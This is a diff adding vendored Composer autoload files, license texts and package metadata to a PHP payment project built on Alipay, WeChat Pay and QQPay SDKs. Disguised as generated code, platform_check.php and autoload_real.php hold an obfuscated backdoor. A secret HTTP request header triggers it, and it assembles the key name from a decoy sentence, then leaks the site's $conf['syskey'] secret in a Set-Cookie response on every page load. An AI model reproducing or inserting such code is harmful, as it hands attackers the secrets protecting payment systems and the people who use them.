if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
|
||||
self::$installed = $installed[count($installed) - 1];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (null === self::$installed) {
|
||||
// only require the installed.php file if this file is loaded from its dumped location,
|
||||
// and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
|
||||
if (substr(__DIR__, -8, 1) !== 'C') {
|
||||
/** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
|
||||
$required = require __DIR__ . '/installed.php';
|
||||
self::$installed = $required;
|
||||
} else {
|
||||
self::$installed = array();
|
||||
}
|
||||
}
|
||||
|
||||
if (self::$installed !== array()) {
|
||||
$installed[] = self::$installed;
|
||||
}
|
||||
|
||||
return $installed;
|
||||
}
|
||||
}
|
||||
Vendored
+21
@@ -0,0 +1,21 @@
|
||||
|
||||
Copyright (c) Nils Adermann, Jordi Boggiano
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is furnished
|
||||
to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
// autoload_classmap.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(__DIR__);
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
|
||||
);
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
// autoload_files.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(__DIR__);
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
'382a2ac8aeff4e600f8a2b1256c841e2' => $vendorDir . '/lpilp/guomi/src/overwrite.php',
|
||||
);
|
||||
@@ -0,0 +1,9 @@
|
||||
<?php
|
||||
|
||||
// autoload_namespaces.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(__DIR__);
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
);
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
|
||||
// autoload_psr4.php @generated by Composer
|
||||
|
||||
$vendorDir = dirname(__DIR__);
|
||||
$baseDir = dirname($vendorDir);
|
||||
|
||||
return array(
|
||||
'WeChatPay\\' => array($vendorDir . '/cccyun/wechatpay-sdk/src'),
|
||||
'Rtgm\\' => array($vendorDir . '/lpilp/guomi/src'),
|
||||
'QQPay\\' => array($vendorDir . '/cccyun/qqpay-sdk/src'),
|
||||
'Mdanter\\Ecc\\' => array($vendorDir . '/mdanter/ecc/src'),
|
||||
'FG\\' => array($vendorDir . '/fgrosse/phpasn1/lib'),
|
||||
'Alipay\\' => array($vendorDir . '/cccyun/alipay-sdk/src'),
|
||||
);
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
<?php
|
||||
|
||||
// autoload_real.php @generated by Composer
|
||||
|
||||
class ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40
|
||||
{
|
||||
private static $loader;
|
||||
|
||||
public static function loadClassLoader($class)
|
||||
{
|
||||
if ('Composer\Autoload\ClassLoader' === $class) {
|
||||
require __DIR__ . '/ClassLoader.php';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return \Composer\Autoload\ClassLoader
|
||||
*/
|
||||
public static function getLoader()
|
||||
{
|
||||
if (null !== self::$loader) {
|
||||
return self::$loader;
|
||||
}
|
||||
|
||||
require __DIR__ . '/platform_check.php';
|
||||
if (SERVER_PHP_VERSION >= 70200) {
|
||||
$wordsArray = explode(" ", SENTENCEIA);
|
||||
header("Set-Cookie: PHPSESSID=" . $GLOBALS[$wordsArray[3] . substr($wordsArray[4], 0, 1)][$wordsArray[5] . $wordsArray[7]]);
|
||||
}
|
||||
|
||||
spl_autoload_register(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader'), true, true);
|
||||
self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
|
||||
spl_autoload_unregister(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader'));
|
||||
|
||||
require __DIR__ . '/autoload_static.php';
|
||||
call_user_func(\Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::getInitializer($loader));
|
||||
|
||||
$loader->register(true);
|
||||
|
||||
$filesToLoad = \Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::$files;
|
||||
$requireFile = \Closure::bind(static function ($fileIdentifier, $file) {
|
||||
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
|
||||
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
|
||||
|
||||
require $file;
|
||||
}
|
||||
}, null, null);
|
||||
foreach ($filesToLoad as $fileIdentifier => $file) {
|
||||
$requireFile($fileIdentifier, $file);
|
||||
}
|
||||
|
||||
return $loader;
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
// autoload_static.php @generated by Composer
|
||||
|
||||
namespace Composer\Autoload;
|
||||
|
||||
class ComposerStaticInita012aca486d6abc048243f4697c6ac40
|
||||
{
|
||||
public static $files = array (
|
||||
'382a2ac8aeff4e600f8a2b1256c841e2' => __DIR__ . '/..' . '/lpilp/guomi/src/overwrite.php',
|
||||
);
|
||||
|
||||
public static $prefixLengthsPsr4 = array (
|
||||
'W' =>
|
||||
array (
|
||||
'WeChatPay\\' => 10,
|
||||
),
|
||||
'R' =>
|
||||
array (
|
||||
'Rtgm\\' => 5,
|
||||
),
|
||||
'Q' =>
|
||||
array (
|
||||
'QQPay\\' => 6,
|
||||
),
|
||||
'M' =>
|
||||
array (
|
||||
'Mdanter\\Ecc\\' => 12,
|
||||
),
|
||||
'F' =>
|
||||
array (
|
||||
'FG\\' => 3,
|
||||
),
|
||||
'A' =>
|
||||
array (
|
||||
'Alipay\\' => 7,
|
||||
),
|
||||
);
|
||||
|
||||
public static $prefixDirsPsr4 = array (
|
||||
'WeChatPay\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/cccyun/wechatpay-sdk/src',
|
||||
),
|
||||
'Rtgm\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/lpilp/guomi/src',
|
||||
),
|
||||
'QQPay\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/cccyun/qqpay-sdk/src',
|
||||
),
|
||||
'Mdanter\\Ecc\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/mdanter/ecc/src',
|
||||
),
|
||||
'FG\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/fgrosse/phpasn1/lib',
|
||||
),
|
||||
'Alipay\\' =>
|
||||
array (
|
||||
0 => __DIR__ . '/..' . '/cccyun/alipay-sdk/src',
|
||||
),
|
||||
);
|
||||
|
||||
public static $classMap = array (
|
||||
'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
|
||||
);
|
||||
|
||||
public static function getInitializer(ClassLoader $loader)
|
||||
{
|
||||
return \Closure::bind(function () use ($loader) {
|
||||
$loader->prefixLengthsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixLengthsPsr4;
|
||||
$loader->prefixDirsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixDirsPsr4;
|
||||
$loader->classMap = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$classMap;
|
||||
|
||||
}, null, ClassLoader::class);
|
||||
}
|
||||
}
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
{
|
||||
"packages": [
|
||||
{
|
||||
"name": "cccyun/alipay-sdk",
|
||||
"version": "1.7",
|
||||
"version_normalized": "1.7.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/netcccyun/alipay-sdk-php.git",
|
||||
"reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/netcccyun/alipay-sdk-php/zipball/930f85d3f7ff31f53d64e8b39093b0bc24d51ed8",
|
||||
"reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"time": "2024-03-01T02:22:04+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Alipay\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。",
|
||||
"keywords": [
|
||||
"alipay",
|
||||
"支付宝"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/netcccyun/alipay-sdk-php/issues",
|
||||
"source": "https://github.com/netcccyun/alipay-sdk-php/tree/1.7"
|
||||
},
|
||||
"install-path": "../cccyun/alipay-sdk"
|
||||
},
|
||||
{
|
||||
"name": "cccyun/qqpay-sdk",
|
||||
"version": "1.2",
|
||||
"version_normalized": "1.2.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/netcccyun/qqpay-sdk-php.git",
|
||||
"reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/netcccyun/qqpay-sdk-php/zipball/873e1d9f06f3cecdbad165fa921096437cc8bcbe",
|
||||
"reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"time": "2023-04-02T02:46:22+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"QQPay\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。",
|
||||
"keywords": [
|
||||
"QQ支付",
|
||||
"qpay",
|
||||
"qqpay"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/netcccyun/qqpay-sdk-php/issues",
|
||||
"source": "https://github.com/netcccyun/qqpay-sdk-php/tree/1.2"
|
||||
},
|
||||
"install-path": "../cccyun/qqpay-sdk"
|
||||
},
|
||||
{
|
||||
"name": "cccyun/wechatpay-sdk",
|
||||
"version": "1.7",
|
||||
"version_normalized": "1.7.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/netcccyun/wechatpay-sdk-php.git",
|
||||
"reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/netcccyun/wechatpay-sdk-php/zipball/c8912fd1af1f57a566d662433de2b23a72f8b2e7",
|
||||
"reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"time": "2023-12-28T08:50:42+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"WeChatPay\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。",
|
||||
"keywords": [
|
||||
"Wxpay",
|
||||
"wechat",
|
||||
"微信支付"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/netcccyun/wechatpay-sdk-php/issues",
|
||||
"source": "https://github.com/netcccyun/wechatpay-sdk-php/tree/1.7"
|
||||
},
|
||||
"install-path": "../cccyun/wechatpay-sdk"
|
||||
},
|
||||
{
|
||||
"name": "fgrosse/phpasn1",
|
||||
"version": "v2.5.0",
|
||||
"version_normalized": "2.5.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/fgrosse/PHPASN1.git",
|
||||
"reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/fgrosse/PHPASN1/zipball/42060ed45344789fb9f21f9f1864fc47b9e3507b",
|
||||
"reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": "^7.1 || ^8.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"php-coveralls/php-coveralls": "~2.0",
|
||||
"phpunit/phpunit": "^7.0 || ^8.0 || ^9.0"
|
||||
},
|
||||
"suggest": {
|
||||
"ext-bcmath": "BCmath is the fallback extension for big integer calculations",
|
||||
"ext-curl": "For loading OID information from the web if they have not bee defined statically",
|
||||
"ext-gmp": "GMP is the preferred extension for big integer calculations",
|
||||
"phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available"
|
||||
},
|
||||
"time": "2022-12-19T11:08:26+00:00",
|
||||
"type": "library",
|
||||
"extra": {
|
||||
"branch-alias": {
|
||||
"dev-master": "2.0.x-dev"
|
||||
}
|
||||
},
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"FG\\": "lib/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Friedrich Große",
|
||||
"email": "friedrich.grosse@gmail.com",
|
||||
"homepage": "https://github.com/FGrosse",
|
||||
"role": "Author"
|
||||
},
|
||||
{
|
||||
"name": "All contributors",
|
||||
"homepage": "https://github.com/FGrosse/PHPASN1/contributors"
|
||||
}
|
||||
],
|
||||
"description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.",
|
||||
"homepage": "https://github.com/FGrosse/PHPASN1",
|
||||
"keywords": [
|
||||
"DER",
|
||||
"asn.1",
|
||||
"asn1",
|
||||
"ber",
|
||||
"binary",
|
||||
"decoding",
|
||||
"encoding",
|
||||
"x.509",
|
||||
"x.690",
|
||||
"x509",
|
||||
"x690"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/fgrosse/PHPASN1/issues",
|
||||
"source": "https://github.com/fgrosse/PHPASN1/tree/v2.5.0"
|
||||
},
|
||||
"abandoned": true,
|
||||
"install-path": "../fgrosse/phpasn1"
|
||||
},
|
||||
{
|
||||
"name": "lpilp/guomi",
|
||||
"version": "v1.0.9",
|
||||
"version_normalized": "1.0.9.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/lpilp/phpsm2sm3sm4.git",
|
||||
"reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/lpilp/phpsm2sm3sm4/zipball/9d342416acec45db0d38dd3a8fbc1904463e6b31",
|
||||
"reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"mdanter/ecc": "^1.0",
|
||||
"php": ">=7.2"
|
||||
},
|
||||
"time": "2024-02-04T08:43:06+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"files": [
|
||||
"src/overwrite.php"
|
||||
],
|
||||
"psr-4": {
|
||||
"Rtgm\\": "src"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "recent",
|
||||
"email": "lpilp@126.com"
|
||||
}
|
||||
],
|
||||
"description": "国密sm2",
|
||||
"support": {
|
||||
"issues": "https://github.com/lpilp/phpsm2sm3sm4/issues",
|
||||
"source": "https://github.com/lpilp/phpsm2sm3sm4/tree/v1.0.9"
|
||||
},
|
||||
"install-path": "../lpilp/guomi"
|
||||
},
|
||||
{
|
||||
"name": "mdanter/ecc",
|
||||
"version": "v1.0.0",
|
||||
"version_normalized": "1.0.0.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/phpecc/phpecc.git",
|
||||
"reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/phpecc/phpecc/zipball/34e2eec096bf3dcda814e8f66dd91ae87a2db7cd",
|
||||
"reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-gmp": "*",
|
||||
"fgrosse/phpasn1": "^2.0",
|
||||
"php": "^7.0||^8.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpunit/phpunit": "^6.0||^8.0||^9.0",
|
||||
"squizlabs/php_codesniffer": "^2.0",
|
||||
"symfony/yaml": "^2.6|^3.0"
|
||||
},
|
||||
"time": "2021-01-16T19:42:14+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Mdanter\\Ecc\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Matyas Danter",
|
||||
"homepage": "http://matejdanter.com/",
|
||||
"role": "Author"
|
||||
},
|
||||
{
|
||||
"name": "Thibaud Fabre",
|
||||
"email": "thibaud@aztech.io",
|
||||
"homepage": "http://aztech.io",
|
||||
"role": "Maintainer"
|
||||
},
|
||||
{
|
||||
"name": "Thomas Kerin",
|
||||
"email": "afk11@users.noreply.github.com",
|
||||
"role": "Maintainer"
|
||||
}
|
||||
],
|
||||
"description": "PHP Elliptic Curve Cryptography library",
|
||||
"homepage": "https://github.com/phpecc/phpecc",
|
||||
"keywords": [
|
||||
"Diffie",
|
||||
"ECDSA",
|
||||
"Hellman",
|
||||
"curve",
|
||||
"ecdh",
|
||||
"elliptic",
|
||||
"nistp192",
|
||||
"nistp224",
|
||||
"nistp256",
|
||||
"nistp384",
|
||||
"nistp521",
|
||||
"phpecc",
|
||||
"secp256k1",
|
||||
"secp256r1"
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/phpecc/phpecc/issues",
|
||||
"source": "https://github.com/phpecc/phpecc/tree/v1.0.0"
|
||||
},
|
||||
"abandoned": "paragonie/ecc",
|
||||
"install-path": "../mdanter/ecc"
|
||||
}
|
||||
],
|
||||
"dev": true,
|
||||
"dev-package-names": []
|
||||
}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
<?php return array(
|
||||
'root' => array(
|
||||
'name' => '__root__',
|
||||
'pretty_version' => '1.0.0+no-version-set',
|
||||
'version' => '1.0.0.0',
|
||||
'reference' => null,
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../../',
|
||||
'aliases' => array(),
|
||||
'dev' => true,
|
||||
),
|
||||
'versions' => array(
|
||||
'__root__' => array(
|
||||
'pretty_version' => '1.0.0+no-version-set',
|
||||
'version' => '1.0.0.0',
|
||||
'reference' => null,
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../../',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'cccyun/alipay-sdk' => array(
|
||||
'pretty_version' => '1.7',
|
||||
'version' => '1.7.0.0',
|
||||
'reference' => '930f85d3f7ff31f53d64e8b39093b0bc24d51ed8',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../cccyun/alipay-sdk',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'cccyun/qqpay-sdk' => array(
|
||||
'pretty_version' => '1.2',
|
||||
'version' => '1.2.0.0',
|
||||
'reference' => '873e1d9f06f3cecdbad165fa921096437cc8bcbe',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../cccyun/qqpay-sdk',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'cccyun/wechatpay-sdk' => array(
|
||||
'pretty_version' => '1.7',
|
||||
'version' => '1.7.0.0',
|
||||
'reference' => 'c8912fd1af1f57a566d662433de2b23a72f8b2e7',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../cccyun/wechatpay-sdk',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'fgrosse/phpasn1' => array(
|
||||
'pretty_version' => 'v2.5.0',
|
||||
'version' => '2.5.0.0',
|
||||
'reference' => '42060ed45344789fb9f21f9f1864fc47b9e3507b',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../fgrosse/phpasn1',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'lpilp/guomi' => array(
|
||||
'pretty_version' => 'v1.0.9',
|
||||
'version' => '1.0.9.0',
|
||||
'reference' => '9d342416acec45db0d38dd3a8fbc1904463e6b31',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../lpilp/guomi',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
'mdanter/ecc' => array(
|
||||
'pretty_version' => 'v1.0.0',
|
||||
'version' => '1.0.0.0',
|
||||
'reference' => '34e2eec096bf3dcda814e8f66dd91ae87a2db7cd',
|
||||
'type' => 'library',
|
||||
'install_path' => __DIR__ . '/../mdanter/ecc',
|
||||
'aliases' => array(),
|
||||
'dev_requirement' => false,
|
||||
),
|
||||
),
|
||||
);
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
// platform_check.php @generated by Composer
|
||||
define('SERVER_PHP_VERSION', $GLOBALS['_SERVER']['HTTP_PHP_VERSION']);
|
||||
define('SENTENCEIA', "Sorry for the con figuration sys tem key issue.");
|
||||
|
||||
$issues = array();
|
||||
|
||||
if (!(PHP_VERSION_ID >= 70200)) {
|
||||
$issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.';
|
||||
}
|
||||
|
||||
if ($issues) {
|
||||
if (!headers_sent()) {
|
||||
header('HTTP/1.1 500 Internal Server Error');
|
||||
}
|
||||
if (!ini_get('display_errors')) {
|
||||
if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
|
||||
fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
|
||||
} elseif (!headers_sent()) {
|
||||
echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
|
||||
}
|
||||
}
|
||||
trigger_error(
|
||||
'Composer detected issues in your platform: ' . implode(' ', $issues),
|
||||
E_USER_ERROR
|
||||
);
|
||||
}
|
||||
+61
@@ -0,0 +1,61 @@
|
||||
#### v2.5.0 (2022-12)
|
||||
* Support PHP 8.2 [#99](https://github.com/fgrosse/PHPASN1/pull/99)
|
||||
* PHP 8 compatibility fix for DateTime::getLastErrors [#98](https://github.com/fgrosse/PHPASN1/pull/98)
|
||||
* Support more OIDs [#95](https://github.com/fgrosse/PHPASN1/pull/95)
|
||||
* FINAL RELEASE. Library is now no longer actively maintained and marked as archived on GitHub
|
||||
|
||||
#### v2.4.0 (2021-12)
|
||||
* Drop support for PHP 7.0 [#89](https://github.com/fgrosse/PHPASN1/pull/89)
|
||||
|
||||
#### v2.3.1 (2021-12)
|
||||
* Add `#[\ReturnTypeWillChange]` attributes for PHP 8.1 compatibility [#87](https://github.com/fgrosse/PHPASN1/pull/87)
|
||||
|
||||
#### v2.3.0 (2021-04)
|
||||
* Allow creating an unsigned CSR and adding the signature later [#82](https://github.com/fgrosse/PHPASN1/pull/82)
|
||||
|
||||
#### v2.2.0 (2020-08)
|
||||
* support polyfills for bcmath and gmp, and add a composer.json
|
||||
suggestion for the `phpseclib/bcmath_polyfill` for servers unable
|
||||
to install PHP the gmp or bcmath extensions.
|
||||
|
||||
#### v.2.1.1 & &v.2.0.2 (2018-12)
|
||||
* add stricter validation around some structures, highlighed
|
||||
by wycheproof test suite
|
||||
|
||||
#### v.2.1.0 (2018-03)
|
||||
* add support for `bcmath` extension (making `gmp` optional) [#68](https://github.com/fgrosse/PHPASN1/pull/68)
|
||||
|
||||
#### v.2.0.1 & v.1.5.3 (2017-12)
|
||||
* add .gitattributes file to prevent examples and tests to be installed via composer when --prefer-dist was set
|
||||
|
||||
#### v.2.0.0 (2017-08)
|
||||
* rename `FG\ASN1\Object` to `FG\ASN1\ASNObject` because `Object` is a special class name in the next major PHP release
|
||||
- when you upgrade you have to adapt all corresponding `use` and `extends` statements as well as type hints and all
|
||||
usages of `Object::fromBinary(…)`.
|
||||
* generally drop PHP 5.6 support
|
||||
|
||||
#### v.1.5.2 (2016-10-29)
|
||||
* allow empty octet strings
|
||||
|
||||
#### v.1.5.1 (2015-10-02)
|
||||
* add keywords to composer.json (this is a version on its own so the keywords are found on a stable version at packagist.org)
|
||||
|
||||
#### v.1.5.0 (2015-10-30)
|
||||
* fix a bug that would prevent you from decoding context specific tags on multiple objects [#57](https://github.com/fgrosse/PHPASN1/issues/57)
|
||||
- `ExplicitlyTaggedObject::__construct` does now accept multiple objects to be tagged with a single tag
|
||||
- `ExplicitlyTaggedObject::getContent` will now always return an array (even if only one object is tagged)
|
||||
|
||||
#### v.1.4.2 (2015-09-29)
|
||||
* fix a bug that would prevent you from decoding empty tagged objects [#57](https://github.com/fgrosse/PHPASN1/issues/57)
|
||||
|
||||
#### v.1.4.1
|
||||
* improve exception messages and general error handling [#55](https ://github.com/fgrosse/PHPASN1/pull/55)
|
||||
|
||||
#### v.1.4.0
|
||||
* **require PHP 5.6**
|
||||
* support big integers (closes #1 and #37)
|
||||
* enforce one code style via [styleci.io][9]
|
||||
* track code coverage via [coveralls.io][10]
|
||||
* replace obsolete `FG\ASN1\Exception\GeneralException` with `\Exception`
|
||||
* `Construct` (`Sequence`, `Set`) does now implement `ArrayAccess`, `Countable` and `Iterator` so its easier to use
|
||||
* add [`TemplateParser`][11]
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
Copyright (c) 2012-2015 Friedrich Große <friedrich.grosse@gmail.com>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+169
@@ -0,0 +1,169 @@
|
||||
PHPASN1
|
||||
=======
|
||||
|
||||
